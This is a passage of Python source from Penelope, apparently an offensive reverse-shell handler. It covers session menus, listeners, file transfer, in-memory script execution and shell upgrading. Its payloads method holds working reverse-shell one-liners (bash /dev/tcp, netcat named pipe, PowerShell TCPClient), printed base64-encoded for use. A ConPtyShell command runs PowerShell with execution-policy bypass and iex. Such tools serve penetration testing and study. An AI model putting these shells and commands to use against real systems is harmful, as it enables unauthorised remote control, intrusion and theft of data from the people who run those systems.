= remote_items.strip() if remote_items: core.sessions[self.sid].download(remote_items, download_folder=download_folder, reroot=reroot) else: cmdlogger.warning("No files or directories specified") @session_operation(current=True) def do_open(self, remote_items): """ ... Download remote files or directories and open them with the local default application Examples: open /etc Open locally a remote directory open /root/secrets.ods Open locally a remote file open /etc/cron* Open locally multiple remote files and directories using glob open /etc/issue /var/spool Open locally multiple remote files and directories at once """ if remote_items: items = core.sessions[self.sid].download(remote_items) if len(items) > options.max_open_files: cmdlogger.warning( f"More than {options.max_open_files} items selected" " for opening. The open list is truncated to " f"{options.max_open_files}." ) items = items[:options.max_open_files] for item in items: Open(item) else: cmdlogger.warning("No files or directories specified") @session_operation(current=True) def do_upload(self, local_items): """ ... Upload local files, directories, or HTTP(S)/FTP URLs to the target URLs are downloaded by Penelope and then uploaded to the target, allowing transfers when the target has no direct Internet access. Examples: upload /tools Upload a directory upload /tools/mysuperdupertool.sh Upload a file upload /tools/privesc* /tools2/*.sh Upload multiple files and directories using glob upload https://github.com/x/y/z.sh Download the file locally and then push it to the target upload https://www.exploit-db.com/exploits/40611 Download the underlying exploit code locally and upload it to the target """ if local_items: core.sessions[self.sid].upload(local_items, randomize_fname=options.upload_random_suffix) else: cmdlogger.warning("No files or directories specified") @session_operation(current=True) def do_script(self, local_item): """ In-memory local or URL script execution & real time downloaded output Examples: script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh """ if local_item: core.sessions[self.sid].script(local_item) else: cmdlogger.warning("No script to execute") @staticmethod def show_modules(): categories = defaultdict(list) for module in modules().values(): categories[module.category].append(module) print() for category in categories: print(" " + str(paint(category).BLUE)) table = Table(joinchar=' │ ') for module in categories[category]: description = module.run.__doc__ or "" if description: description = module.run.__doc__.strip().splitlines()[0] table += [paint(module.__name__).red, description] print(indent(str(table), ' '), "\n", sep="") @session_operation(current=True) def do_run(self, line): """ [module name] Run a module. Run 'help run' to view the available modules """ try: parts = line.split(" ", 1) module_name = parts[0] except AttributeError: module_name = None print() cmdlogger.warning(paint("Select a module").YELLOW_white) if module_name: module = modules().get(module_name) if module: args = parts[1] if len(parts) == 2 else '' if module.enabled: module.run(core.sessions[self.sid], args) else: cmdlogger.warning(f"Module '{module_name}' is disabled") else: cmdlogger.warning(f"Module '{module_name}' does not exist") else: self.show_modules() @session_operation(current=True) def do_spawn(self, line): """ [Port] [Host] Spawn another shell from the selected target Examples: spawn Spawn a new session. If the current is bind then in will create a bind shell. If the current is reverse, it will spawn a reverse one spawn 5555 Spawn a reverse shell on 5555 port. This can be used to get shell on another tab. In another tab run: penelope.py -p 5555 spawn 3333 10.10.10.10 Connect a new reverse shell to 10.10.10.10:3333 """ host, port = None, None if line: args = line.split(" ") try: port = int(args[0]) except ValueError: cmdlogger.error("Port number should be numeric") return False arg_num = len(args) if arg_num == 2: host = args[1] elif arg_num > 2: print() cmdlogger.error("Invalid PORT - HOST combination") self.onecmd("help spawn") return False core.sessions[self.sid].spawn(port, host) def do_maintain(self, line): """ [NUM] Maintain NUM active shells for each target Examples: maintain 5 Maintain 5 active shells maintain 1 Disable maintain functionality """ if line: if line.isnumeric(): num = int(line) options.maintain = num targets = [h[0] for h in core.hosts.values() if h and len(h) < options.maintain] refreshed = bool(targets) for first in targets: first.maintain() if not refreshed: self.onecmd("maintain") else: cmdlogger.error("Invalid number") else: status = paint('Enabled').white_GREEN if options.maintain >= 2 else paint('Disabled').white_RED cmdlogger.info(f"Maintain value set to {paint(options.maintain).yellow} {status}") @session_operation(current=True) def do_upgrade(self, ID): """ Upgrade the current session's shell to PTY Note: By default this is automatically run on the new sessions. Disable it with -U """ session = core.sessions[self.sid] if session.OS == 'Unix': session.upgrade() else: uploaded = session.upload(URLS['conptyshell'], remote_path=session.tmp) if not uploaded: cmdlogger.error("Failed to upload ConPtyShell") return conptyshell_path = uploaded[0] shell_type = 'cmd' if session.subtype == 'cmd' else 'powershell' session.exec( f"powershell -nop -ep bypass -c \"iex(get-content {conptyshell_path} -raw); " f"Invoke-ConPtyShell -RemoteIp {session._host} " f"-RemotePort {session._port} -Rows 24 -Cols 80 -CommandLine {shell_type}\"", force_cmd=True, raw=True ) def do_dir(self, ID): """ [SessionID] Open the selected session's local folder, or Penelope's base folder if no session is selected """ session = core.sessions.get(self.sid) folder = session.directory if session else options.basedir print(folder) Open(folder) @session_operation(current=True) def do_exec(self, cmdline): """ Execute a command on the target and print its output Examples: exec cat /etc/passwd """ if cmdline: if core.sessions[self.sid].agent: core.sessions[self.sid].exec( cmdline, timeout=None, stdout_dst=sys.stdout.buffer, stderr_dst=sys.stderr.buffer ) else: output = core.sessions[self.sid].exec( cmdline, timeout=None, value=True ) print(output) else: cmdlogger.warning("No command to execute") def do_listeners(self, line): """ [add [-i ] [-p ] [-j ] | stop ] Add / stop / view Listeners Examples: listeners Show active Listeners listeners add -i any -p 4444 Create a Listener on 0.0.0.0:4444 listeners stop 1 Stop the Listener with ID 1 """ if line: parser = ArgumentParser(prog="listeners") subparsers = parser.add_subparsers(dest="command", required=True) parser_add = subparsers.add_parser("add", help="Add a new listener") parser_add.add_argument("-i", "--interface", help="Interface to bind", default="any") parser_add.add_argument("-p", "--ports", help="Ports to listen on (comma separated)", default=[options.default_listener_port]) parser_add.add_argument("-t", "--type", help="Listener type", default='tcp') parser_add.add_argument("-j", "--jump", action="append", help="Jump endpoint") parser_stop = subparsers.add_parser("stop", help="Stop a listener") parser_stop.add_argument("id", help="Listener ID to stop") try: args = parser.parse_args(line.split()) except SystemExit: return False if args.command == "add": options.ports = args.ports if args.type == 'tcp': for port in options.ports: TCPListener(args.interface, port, args.jump) elif args.command == "stop": if args.id == '*': listeners = tuple(core.listeners.values()) if listeners: for listener in listeners: listener.stop() else: cmdlogger.warning("No listeners to stop...") return False else: try: core.listeners[int(args.id)].stop() except (KeyError, ValueError): logger.error("Invalid Listener ID") else: if core.listeners: table = Table(joinchar=' | ') table.header = [paint(header).orange for header in ('ID', 'Type', 'Host', 'Port')] for listener in core.listeners.values(): table += [listener.id, listener.__class__.__name__, listener.host, listener.port] print('\n', indent(str(table), ' '), '\n', sep='') else: cmdlogger.warning("No active Listeners...") def do_connect(self, line): """ Connect to a bind shell Examples: connect 192.168.0.101 5555 """ if not line: cmdlogger.warning("No target specified") return False try: address, port = line.split(' ') except ValueError: cmdlogger.error("Invalid Host-Port combination") else: if Connect(address, port) and not options.no_attach: return True def do_payloads(self, line): """ [interface_name] Show example reverse-shell commands for the active listeners """ if core.listeners: print() for listener in core.listeners.values(): print(listener.payloads(line)) else: cmdlogger.warning("No Listeners to show payloads") def do_Interfaces(self, line): """ Show the local network interfaces """ print(Interfaces()) def do_exit(self, line): """ Exit Penelope """ if ask(f"Exit Penelope?{self.active_sessions} (y/N): ").lower() == 'y': super().do_exit(line) core.stop() for thread in threading.enumerate(): if thread.name == 'Core': thread.join() cmdlogger.info("Exited!") remaining_threads = [thread for thread in threading.enumerate()] if options.dev_mode and remaining_threads: cmdlogger.error(f"REMAINING THREADS: {remaining_threads}") return True return False def do_EOF(self, line): if self.sid: self.set_id(None) print() else: print("exit") return self.do_exit(line) def do_modules(self, line): """ Show available modules """ self.show_modules() def do_reload(self, line): """ Reload the rc file """ load_rc() def do_SET(self, line): """ [option, [value]] Show / set option values Examples: SET Show all options and their current values SET no_upgrade Show the current value of no_upgrade option SET no_upgrade True Set the no_upgrade option to True """ if not line: rows = [ [paint(param).cyan, paint(repr(getattr(options, param))).yellow] for param in options.__dict__] table = Table(rows, fillchar=[paint('.').green, 0], joinchar=' => ') print(table) else: try: args = line.split(" ", 1) param = args[0] if len(args) == 1: value = getattr(options, param) if isinstance(value, (list, dict)): value = dumps(value, indent=4) print(f"{paint(value).yellow}") else: from ast import literal_eval new_value = literal_eval(args[1]) old_value = getattr(options, param) setattr(options, param, new_value) if getattr(options, param) != old_value: cmdlogger.info(f"'{param}' option set to: {paint(getattr(options, param)).yellow}") except AttributeError: cmdlogger.error("No such option") except Exception as e: cmdlogger.error(f"{type(e).__name__}: {e}") def default(self, line): if line in ['q', 'quit']: return self.onecmd('exit') elif line == '.': return self.onecmd('dir') else: parts = line.split(" ", 1) candidates = [command for command in self.raw_commands if command.startswith(parts[0])] if not candidates: cmdlogger.warning(f"No such command: '{line}'. Issue 'help' for all available commands") elif len(candidates) == 1: cmd = candidates[0] if len(parts) == 2: cmd += " " + parts[1] stdout(f"\x1b[1A\x1b[2K{self.prompt}{cmd}\n".encode(), False) return self.onecmd(cmd) else: cmdlogger.warning(f"Ambiguous command. Can mean any of: {candidates}") def complete_SET(self, text, line, begidx, endidx): return [option for option in options.__dict__ if option.startswith(text)] def complete_listeners(self, text, line, begidx, endidx): last = -2 if text else -1 arg = line.split()[last] if arg == 'listeners': return [command for command in ["add", "stop"] if command.startswith(text)] elif arg in ('-i', '--interface'): return [iface_ip for iface_ip in Interfaces().list_all + ['any', '0.0.0.0'] if iface_ip.startswith(text)] elif arg in ('-t', '--type'): return [_type for _type in ("tcp",) if _type.startswith(text)] elif arg == 'stop': return self.get_core_id_completion(text, "*", attr='listeners') def complete_portfwd(self, text, line, begidx, endidx): last = -2 if text else -1 arg = line.split()[last] if arg == 'portfwd': return [command for command in ["stop"] if command.startswith(text)] elif arg == 'stop': return self.get_core_id_completion(text, "*", attr='forwardings') def complete_payloads(self, text, line, begidx, endidx): return [iface for iface in Interfaces().list if iface.startswith(text)] def complete_upload(self, text, line, begidx, endidx): return self.complete_path(line, begidx, endidx, self._local_lister, expand=lambda p: os.path.expandvars(os.path.expanduser(p))) complete_script = complete_upload complete_lcd = complete_upload def complete_download(self, text, line, begidx, endidx): # LOCAL path completion right after -o/--output, REMOTE paths otherwise if re.search(r'(?:^|\s)(?:-o|--output)\s*$', line[:begidx]): return self.complete_path(line, begidx, endidx, self._local_lister, expand=lambda p: os.path.expandvars(os.path.expanduser(p))) session = core.sessions.get(self.sid) if session is None: return [] return self.complete_path(line, begidx, endidx, session.get_remote_completion, windows=(session.OS == 'Windows')) complete_open = complete_download complete_cd = complete_download def complete_use(self, text, line, begidx, endidx): return self.get_core_id_completion(text, "none") def complete_sessions(self, text, line, begidx, endidx): return self.get_core_id_completion(text) def complete_interact(self, text, line, begidx, endidx): return self.get_core_id_completion(text) def complete_kill(self, text, line, begidx, endidx): return self.get_core_id_completion(text, "*") def complete_run(self, text, line, begidx, endidx): return [module.__name__ for module in modules().values() if module.__name__.startswith(text)] def complete_help(self, text, line, begidx, endidx): return [command for command in self.raw_commands if command.startswith(text)] class ControlQueue: def __init__(self): self._out, self._in = os.pipe() self.queue = queue.Queue() # TODO self._lock = threading.Lock() def fileno(self): return self._out def __lshift__(self, command): with self._lock: self.queue.put(command) try: os.write(self._in, b'\x00') except OSError: pass def get(self): command = self.queue.get() try: os.read(self._out, 1) except OSError: return 'stop' return command def clear(self): with self._lock: amount = 0 while not self.queue.empty(): try: self.queue.get_nowait() amount += 1 except queue.Empty: break try: os.read(self._out, amount) except OSError: pass def close(self): try: os.close(self._in) except OSError: pass try: os.close(self._out) except OSError: pass def signal_level(rtt_ms, loss=False, jitter_ms=0): if rtt_ms is None: return -1 lvl = 4 if rtt_ms < 30 else 3 if rtt_ms < 80 else 2 if rtt_ms < 150 else 1 unstable = loss or (jitter_ms or 0) > 30 return max(1, lvl - (1 if unstable else 0)) def signal_bars(level): glyphs = "▁▃▅▇" if level < 0: return str(paint(" ···").darkgrey) color = ("darkgrey", "red", "orange", "yellow", "green")[level] return "".join( str(getattr(paint(g), color)) if i < level else str(paint(g).darkgrey) for i, g in enumerate(glyphs) ) class Core: def __init__(self): self.started = False self.control = ControlQueue() self.rlist = [self.control] self.wlist = [] self.attached_session = None self.conn_semaphore = threading.Semaphore(5) self.listener_counter = itertools.count(1) self.session_counter = itertools.count(1) self.fileserver_counter = itertools.count(1) self.forwarding_counter = itertools.count(1) self.counter_lock = threading.Lock() self.sessions = {} self.listeners = {} self.fileservers = {} self.forwardings = {} self.output_line_buffer = LineBuffer(1) self.wait_input = False def __getattr__(self, name): if name == 'new_listenerID': with self.counter_lock: return next(self.listener_counter) elif name == 'new_sessionID': with self.counter_lock: return next(self.session_counter) elif name == 'new_fileserverID': with self.counter_lock: return next(self.fileserver_counter) elif name == 'new_forwardingID': with self.counter_lock: return next(self.forwarding_counter) else: raise AttributeError(name) @property def hosts(self): result = {} for session in tuple(self.sessions.values()): name = getattr(session, 'name', None) if name: result.setdefault(name, []).append(session) return result @property def threads(self): return [thread.name for thread in threading.enumerate()] def start(self): self.started = True threading.Thread(target=self.loop, name="Core").start() threading.Thread(target=self.sample_signals, name="SignalSampler", daemon=True).start() def sample_signals(self): prev = {} while self.started: for session in tuple(self.sessions.values()): try: sig = session.tcp_signal() if sig is not None: rtt, jitter, retrans = sig loss = retrans > prev.get(session.id, retrans) prev[session.id] = retrans elif session.latency is not None: rtt, jitter, loss = session.latency * 1000.0, 0, False else: continue session.rtt_ms = rtt if session.rtt_ms is None else 0.7 * session.rtt_ms + 0.3 * rtt session.jitter_ms = jitter if session.jitter_ms is None else 0.7 * session.jitter_ms + 0.3 * jitter session.signal = signal_level(session.rtt_ms, loss, session.jitter_ms) except Exception: continue for sid in set(prev) - set(self.sessions): prev.pop(sid, None) time.sleep(2) def loop(self): while self.started: try: readables, writables, _ = select(self.rlist, self.wlist, []) except (ValueError, OSError): def _valid_fd(x): try: return x.fileno() >= 0 except Exception: return False for lst in (self.rlist, self.wlist): for x in tuple(lst): if not _valid_fd(x): try: lst.remove(x) except ValueError: pass continue for readable in readables: # The control queue if readable is self.control: command = self.control.get() if command: try: command() except KeyError: logger.debug("The session does not exist anymore") except Exception as e: logger.error(f"Core Control command failed: {e}") else: logger.debug("Core break") break # The listeners elif readable.__class__ is TCPListener: try: _socket, endpoint = readable.socket.accept() except BlockingIOError: continue except OSError: continue if sum(1 for s in tuple(self.sessions.values()) if s.ip == endpoint[0]) >= options.max_sessions: _socket.close() logger.debug(f"Rejected {endpoint}: max sessions per host ({options.max_sessions}) reached") continue thread_name = f"NewCon{endpoint}" logger.debug(f"New thread: {thread_name}") threading.Thread(target=Session, args=(_socket, *endpoint, readable), name=thread_name).start() # STDIN elif readable is sys.stdin: if self.attached_session: session = self.attached_session if session.type == 'Readline': continue data = os.read(sys.stdin.fileno(), options.network_buffer_size) if session.subtype == 'cmd': self._cmd = data if data == options.escape['sequence']: #if session.alternate_buffer: # logger.error("(!) Exit the current alternate buffer program first") #else: # session.detach() session.detach() else: if session.type == 'Raw': session.record(data, _input=True) elif session.agent: data = Messenger.message(Messenger.SHELL, data) session.send(data, stdin=True) else: logger.error("You shouldn't see this error; Please report it") # The sessions elif readable.__class__ is Session: try: data = readable.socket.recv(options.network_buffer_size) if not data: raise OSError except BlockingIOError: continue except OSError: logger.debug("Died while reading") readable.kill() break readable.bytes_received += len(data) with readable.data_route_lock: target = readable.subchannel\ if readable.subchannel.active\ else readable.shell_response_buf if readable.agent: for _type, _value in readable.messenger.feed(data): #print(_type, _value) if _type == Messenger.SHELL: if not _value: # TEMP readable.kill() break target.write(_value) elif _type == Messenger.STREAM: stream_id, stream_data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:] #print((repr(stream_id), repr(stream_data))) try: readable.streams[stream_id] << stream_data except (OSError, KeyError): logger.debug(f"Cannot write to stream; Stream <{stream_id}> died prematurely") else: target.write(data) shell_output = readable.shell_response_buf.getvalue() # TODO if shell_output: if readable.is_attached: stdout(shell_output) readable.record(shell_output) #if b'\x1b[?1049h' in shell_output: # readable.alternate_buffer = True #if b'\x1b[?1049l' in shell_output: # readable.alternate_buffer = False #if readable.subtype == 'cmd' and self._cmd == data: # data, self._cmd = b'', b'' # TODO readable.shell_response_buf.seek(0) readable.shell_response_buf.truncate(0) for writable in writables: with writable.wlock: try: sent = writable.socket.send(writable.outbuf.getvalue()) writable.bytes_sent += sent except BlockingIOError: continue except OSError: logger.debug("Died while writing") writable.kill() break writable.outbuf.seek(sent) remaining = writable.outbuf.read() writable.outbuf.seek(0) writable.outbuf.truncate() writable.outbuf.write(remaining) if not remaining: self.wlist.remove(writable) def stop(self): options.maintain = 0 if self.sessions: logger.warning("Killing sessions...") for session in reversed(tuple(self.sessions.values())): session.kill() for listener in tuple(self.listeners.values()): listener.stop() for fileserver in tuple(self.fileservers.values()): fileserver.stop() self.control << (lambda: setattr(self, 'started', False)) menu.stop = True menu.cmdqueue.append("") menu.active.set() def handle_bind_errors(func): @wraps(func) def wrapper(*args, **kwargs): host = args[1] port = args[2] try: func(*args, **kwargs) return True except PermissionError: logger.error(f"Cannot bind to port {port}: Insufficient privileges") print(dedent( f""" {paint('Workarounds:')} 1) {paint('Port forwarding').UNDERLINE} (Run the Listener on a non-privileged port e.g 4444) sudo iptables -t nat -A PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444 {paint('or').white} sudo nft add rule ip nat prerouting tcp dport {port} redirect to 4444 {paint('then').white} sudo iptables -t nat -D PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444 {paint('or').white} sudo nft delete rule ip nat prerouting tcp dport {port} redirect to 4444 2) {paint('Setting CAP_NET_BIND_SERVICE capability').UNDERLINE} sudo setcap 'cap_net_bind_service=+ep' {os.path.realpath(sys.executable)} ./penelope.py {port} sudo setcap 'cap_net_bind_service=-ep' {os.path.realpath(sys.executable)} 3) {paint('SUDO').UNDERLINE} (The {__program__.title()}'s directory will change to /root/.penelope) sudo ./penelope.py {port} """)) except socket.gaierror: logger.error("Cannot resolve hostname") except OSError as e: if e.errno == EADDRINUSE: logger.error(f"The port '{port}' is currently in use") elif e.errno == EADDRNOTAVAIL: logger.error(f"Cannot listen on '{host}'") else: logger.error(f"OSError: {str(e)}") except OverflowError: logger.error("Invalid port number. Valid numbers: 1-65535") except ValueError: logger.error("Port number must be numeric") return False return wrapper def Connect(host, port): try: port = int(port) except ValueError: logger.error("Port number must be numeric") return False _socket = socket.socket() _socket.settimeout(5) try: _socket.connect((host, port)) _socket.settimeout(None) except ConnectionRefusedError: logger.error(f"Connection refused... ({host}:{port})") except OSError: logger.error(f"Cannot reach {host}") except OverflowError: logger.error("Invalid port number. Valid numbers: 1-65535") else: if not core.started: core.start() logger.info(f"Connected to {paint(host).blue}:{paint(port).orange} {EMOJIS['target']}") threading.Thread(target=Session, args=(_socket, host, port), name=f"NewCon{(host, port)}").start() return True _socket.close() return False class Forwarding: def __init__(self, session, info, control, thread, server): self.session = session self.info = info # (_type, lhost, lport, rhost, rport) self.control = control self.thread = thread self.server = server self.id = core.new_forwardingID core.forwardings[self.id] = self session.tasks['portfwd'].append(self) def __str__(self): _type, lhost, lport, rhost, rport = self.info arrow = '->' if _type == 'L' else '<-' return f"{lhost}:{lport} {arrow} {rhost}:{rport}" def stop(self): logger.warning(f"Stopping Port Forwarding: {self}") self.server.shutdown() self.thread.join() core.forwardings.pop(self.id, None) try: self.session.tasks['portfwd'].remove(self) except ValueError: pass class TCPListener: def __init__(self, host=None, port=None, jump=None): self.host = host or options.default_interface self.host = Interfaces().translate(self.host) self.port = port or options.default_listener_port self.jump = [] if jump: for j in jump: host, sep, port = j.rpartition(':') if not sep or not host or not port.isdigit(): logger.error(f"Invalid jump endpoint: {j} (expected host:port)") continue self.jump.append((host, port)) self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.setblocking(False) self.caller = caller() if self.bind(self.host, self.port): self.start() else: self.socket.close() def __str__(self): return f"TCPListener({self.host}:{self.port})" def __bool__(self): return hasattr(self, 'id') @handle_bind_errors def bind(self, host, port): self.port = int(port) self.socket.bind((host, self.port)) def fileno(self): return self.socket.fileno() def start(self): specific = "" if self.host == '0.0.0.0': specific = paint('-> ').cyan + str(paint(' • ').cyan).join([str(paint(ip).cyan) for ip in Interfaces().ips]) logger.info(f"Listening for reverse shells on {paint(self.host).blue}{paint(':').white}{paint(self.port).orange} {specific}") self.socket.listen(5) self.id = core.new_listenerID core.rlist.append(self) core.listeners[self.id] = self if not core.started: core.start() core.control << None if options.payloads: print(self.payloads()) def stop(self): if threading.current_thread().name != 'Core': core.control << (lambda: core.listeners[self.id].stop()) return core.rlist.remove(self) del core.listeners[self.id] try: self.socket.shutdown(socket.SHUT_RDWR) except OSError: pass self.socket.close() if options.single_session and core.sessions and not self.caller == 'spawn': logger.info(f"Stopping {self} due to Single Session mode") else: logger.warning(f"Stopping {self}") def payloads(self, interface_filter=None): pairs = Interfaces().pairs name_of_ip = {ip: name for name, ip in pairs} presets = [ "(bash >& /dev/tcp/{}/{} 0>&1) &", "(rm /tmp/_;mkfifo /tmp/_;cat /tmp/_|sh 2>&1|nc {} {} >/tmp/_) >/dev/null 2>&1 &", '$client = New-Object System.Net.Sockets.TCPClient("{}",{});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()' # Taken from revshells.com ] output = [str(paint(self).white_MAGENTA)] output.append("") ips = [self.host] if self.host == '0.0.0.0': ips = [ip for _, ip in pairs] if self.jump: ips[:0] = self.jump interface_count = 0 for ip in ips: if isinstance(ip, tuple): ip, port = ip iface_name = paint('JUMP').RED else: port = self.port iface_name = name_of_ip.get(ip) if interface_filter and iface_name != interface_filter: continue iface_name = paint(iface_name).GREEN_black interface_count += 1 output.extend((f'➤ {iface_name} → {str(paint(ip).cyan)}:{str(paint(port).orange)}', '')) output.append(str(paint("Bash TCP").UNDERLINE)) output.append(f"printf {base64.b64encode(presets[0].format(ip, port).encode()).decode()}|base64 -d|bash") output.append("") output.append(str(paint("Netcat + named pipe").UNDERLINE)) output.append(f"printf {base64.b64encode(presets[1].format(ip, port).encode()).decode()}|base64 -d|sh") output.append("") output.append(str(paint("Powershell").UNDERLINE)) output.append("cmd /c powershell -e " + base64.b64encode(presets[2].format(ip, port).encode("utf-16le")).decode()) output.extend(dedent(f""" {paint('Metasploit').UNDERLINE} set PAYLOAD generic/shell_reverse_tcp set LHOST {ip} set LPORT {port} set DisablePayloadHandler true """).split("\n")) output.append("─" * 80) if not interface_count: return "" return '\n'.join(output) + "\n" class Channel: def __init__(self, raw=False, expect = []): self._read, self._write = os.pipe() self.can_use = True self.active = True self.control = ControlQueue() def fileno(self): return self._read def read(self): return os.read(self._read, options.network_buffer_size) def write(self, data): os.write(self._write, data) def close(self): os.close(self._read) os.close(self._write) class Session: def __init__(self, _socket, target, port, listener=None): with core.conn_semaphore: #print(core.threads) print("\a", flush=True, end='') self.socket = _socket self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.socket.setblocking(False) self.target, self.port = target, port try: self.ip = _socket.getpeername()[0] except OSError: logger.error(f"Invalid connection from {self.target} {EMOJIS['invalid_shell']}") self.socket.close() return self._host, self._port = self.socket.getsockname() self.listener = listener self.source = 'reverse' if listener else 'bind' self.id = None self.OS = None self.type = 'Raw' self.subtype = None self.interactive = None self.echoing = None self.pty_ready = None self.win_version = None self.prompt = None self.new = True self.timeout_short = options.timeout_short self.timeout_long = options.timeout_long self.last_lines = LineBuffer(options.attach_lines) self.lock = threading.Lock() self.wlock = threading.Lock() self.data_route_lock = threading.Lock() self.log_lock = threading.Lock() self.logfile = io.BytesIO() self.outbuf = io.BytesIO() self.bytes_sent = 0 self.bytes_received = 0 self.rtt_ms = None self.jitter_ms = None self.signal = -1 self.shell_response_buf = io.BytesIO() self.tasks = {"portfwd":[], "scripts":[]} self.subchannel = Channel() self.latency = None #self.alternate_buffer = False self.agent = False self.messenger = Messenger(io.BytesIO) self.streamID = 0 self.streams = dict() self.stream_lock = threading.Lock() self.stream_code = Messenger.STREAM_CODE self.streams_max = 2 ** (8 * Messenger.STREAM_BYTES) self.shell_pid = None self.user = None self.tty = None self._bin = defaultdict(lambda: "") self._tmp = None self._exec_tmp = None self._cwd = None self._can_deploy_agent = None self._has_persistent_shell = None self._libc = None self._ncat = None self.upgrade_attempted = False self.upgrade_standalone_attempted = False self.standalone_python = None self.uploaded_paths = {} self.attaching = False core.rlist.append(self) if self.determine(): logger.debug(f"OS: {self.OS}") logger.debug(f"Type: {self.type}") logger.debug(f"Subtype: {self.subtype}") logger.debug(f"Interactive: {self.interactive}") logger.debug(f"Echoing: {self.echoing}") self.get_system_info() if not self.hostname: if target == self.ip: try: self.hostname = socket.gethostbyaddr(target)[0] except socket.herror: self.hostname = '' logger.debug("Cannot resolve hostname") else: self.hostname = target hostname = self.hostname c1 = '~' if hostname else '' ip = self.ip c2 = '-' system = self.system if not system: system = self.OS.upper() if self.arch: system += '-' + self.arch self.name = f"{hostname}{c1}{ip}{c2}{system}" self.name_colored = ( f"{paint(hostname).white_BLUE} " f"{paint(ip).white_RED} " f"{paint(system).cyan}" ) if self not in core.rlist: return self.id = core.new_sessionID core.sessions[self.id] = self new_banner = f"[New {self.source.title()} Shell]" logger.info( f"{paint(new_banner).YELLOW_black} {paint('=>').green} " f"{self.name_colored} {EMOJIS['user']} {paint(self.user).white_BLUE} {EMOJIS['new_shell']}" f"{paint(' Session ID').green} {paint('<' + str(self.id) + '>').yellow}" ) self.directory = options.basedir / "sessions" / self.name.replace("/", "_") self.directory.mkdir(parents=True, exist_ok=True) self.histfile = self.directory / "readline_history" if not options.no_log: log_user = re.sub(r"[\\/]", "_", self.user).replace("(", "_").replace(")", "") self.logpath = self.directory / f'{datetime.now().strftime("%Y_%m_%d-%H_%M_%S-%f")[:-3]}-{log_user}.log' logfile = open(self.logpath, 'ab', buffering=0) self._activate_log(logfile) for module in modules().values(): if module.enabled and module.on_session_start: module.run(self, None) maintain_success = self.maintain() if options.single_session and self.listener: self.listener.stop() if hasattr(listener_menu, 'active') and listener_menu.active: try: os.close(listener_menu.control_w) except OSError: pass listener_menu.control_w = None listener_menu.finishing.wait() attach_conditions = [ # Is a reverse shell and the Menu is not active and (reached the maintain value or maintain failed) self.listener and not menu.active.is_set() and (len(core.hosts[self.name]) == options.maintain or not maintain_success), # Is a bind shell and is not spawned from the Menu not self.listener and not menu.active.is_set(), # Is a bind shell and is spawned from the connect Menu command #not self.listener and menu.active.is_set() and menu.lastcmd.startswith('connect') # Never lands here ] # If no other session is attached if core.attached_session is None: # If auto-attach is enabled if not options.no_attach: if any(attach_conditions): # Attach the newly created session self.attach() else: if self.id == 1: menu.set_id(self.id) if not menu.active.is_set(): menu.show() else: self.kill() if not self.listener and core.attached_session is None and not menu.active.is_set(): menu.show() time.sleep(1) return def __bool__(self): return self.socket.fileno() != -1 # and self.OS) def __repr__(self): try: return ( f"ID: {self.id} -> {__class__.__name__}({self.name}, {self.OS}, {self.type}, " f"interactive={self.interactive}, echoing={self.echoing})" ) except AttributeError: return f"ID: (for deletion: {self.id})" def __getattr__(self, name): if name == 'new_streamID': with self.stream_lock: if len(self.streams) == self.streams_max: logger.error("Too many open streams...") return None self.streamID += 1 self.streamID = self.streamID % self.streams_max while struct.pack(self.stream_code, self.streamID) in self.streams: self.streamID += 1 self.streamID = self.streamID % self.streams_max _stream_ID_hex = struct.pack(self.stream_code, self.streamID) try: self.streams[_stream_ID_hex] = Stream(_stream_ID_hex, self) except OSError as e: logger.error(f"Cannot allocate stream: {e}") return None return self.streams[_stream_ID_hex] else: raise AttributeError(name) def fileno(self): return self.socket.fileno() @property def can_deploy_agent(self): if self._can_deploy_agent is None: if not self.standalone_python and Path(self.directory / ".noagent").exists(): self._can_deploy_agent = False else: _bin = self.bin['python3'] or self.bin['python'] if _bin: version = self.exec(f"{_bin} -V 2>&1 || {_bin} --version 2>&1", value=True) try: major, minor, micro = re.search(r"Python (\d+)\.(\d+)(?:\.(\d+))?", version).groups() except Exception: self._can_deploy_agent = False return self._can_deploy_agent self.remote_python_version = (int(major), int(minor), int(micro or 0)) if self.remote_python_version >= (2, 3): # Python 2.2 lacks: tarfile, os.walk, yield self._can_deploy_agent = True else: self._can_deploy_agent = False else: self._can_deploy_agent = False return self._can_deploy_agent @property def libc(self): if self._libc is None and self.system == 'Linux': r = self.exec("ls /lib/ld-musl-* 2>/dev/null | head -1", value=True) self._libc = 'musl' if (isinstance(r, str) and 'ld-musl' in r) else 'glibc' return self._libc @property def has_persistent_shell(self): if self._has_persistent_shell is None: if self.OS != "Unix": self._has_persistent_shell = True else: pid1 = self.exec("echo $$", value=True) pid2 = self.exec("echo $$", value=True) self._has_persistent_shell = not ( pid1 and pid2 and pid1.isdigit() and pid2.isdigit() and pid1 != pid2 ) return self._has_persistent_shell def get_system_info(self): self.hostname = self.system = self.arch = '' if self.OS == 'Unix': if not self.bin['uname']: return False response = self.exec( r'printf "$({0} -n)\t' r'$({0} -s)\t' r'$({0} -m 2>/dev/null|grep -v unknown||{0} -p 2>/dev/null)"'.format(self.bin['uname']), agent_typing=True, value=True ) try: self.hostname, self.system, self.arch = (sanitize_meta(x) for x in response.split("\t")) except Exception: return False elif self.OS == 'Windows': self.systeminfo = self.exec('systeminfo', value=True) if not self.systeminfo: return False self.systeminfo = self.systeminfo.replace('\r\n', '\n').replace('\r', '\n') self.systeminfo = re.sub(r'\x1b\[[0-?]*[ -/]*[@-~]', '', self.systeminfo) def extract_value(pattern): match = re.search(pattern, self.systeminfo, re.MULTILINE) return match.group(1).replace(" ", "_").rstrip() if match else '' self.hostname = sanitize_meta(extract_value(r"^Host Name:\s+(.+)")) self.system = 